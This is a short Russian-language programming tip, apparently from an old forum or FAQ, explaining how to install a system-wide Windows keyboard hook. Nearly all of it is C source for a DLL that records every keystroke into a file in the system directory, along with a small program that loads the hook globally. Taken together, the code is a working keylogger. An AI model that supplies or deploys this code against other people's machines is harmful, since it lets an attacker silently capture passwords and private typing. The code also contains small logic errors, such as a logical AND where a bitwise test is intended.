Как поставить system-wide хук(например писать в файл все нажатия кнопок)

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0;   // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
    ghDLLInst = hModule;

    switch (dwFunction)
    {
        case DLL_PROCESS_ATTACH:
   {

   GetSystemDirectory(
      sysdir,
   MAX_PATH
   );

   strcpy(logname,sysdir);
   strcat(logname,"\\kbdkeys.txt");

   }
        case DLL_PROCESS_DETACH:
   {
   }

        default:
            break;
    }
    return TRUE;
}
//------------------------------------------------
 LRESULT  CALLBACK KeyboardProc(
     int code,  // hook code
     WPARAM wParam,     // virtual-key code
     LPARAM lParam      // keystroke-message information
   )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

   LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  OVERLAPPED ovlp;
  DWORD ffsze=GetFileSize(LFile,NULL);
  ovlp.OffsetHigh=0;
  ovlp.hEvent=NULL;
   ovlp.Offset=ffsze;

  WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

  CloseHandle(LFile);
}
 return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include <commdlg.h>
#include <stdlib.h>
#include <winnls.h>

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
    BOOL fSet
    )
{
    static HHOOK hhkKbdHook = NULL;
    static HANDLE hmodHook;

    if (fSet)
    {
        if (!hmodHook)
        {
            if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
            {
                return FALSE;
            }
        }

        if (!hhkKbdHook)
        {
         if (!(hhkKbdHook =
  SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
  GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),(HINSTANCE)hmodHook,0)))
            {
                return FALSE;
            }
        }

 }
    else
    {
        if (hhkKbdHook)
        {
            UnhookWindowsHookEx(hhkKbdHook);
            hhkKbdHook = NULL;
        }

    }

    return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow)
{
    if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
    MSG   msg;

  while (GetMessage (&msg, NULL, 0, 0))
  {
        TranslateMessage (&msg);
        DispatchMessage (&msg);
  }
 return( 0 );
}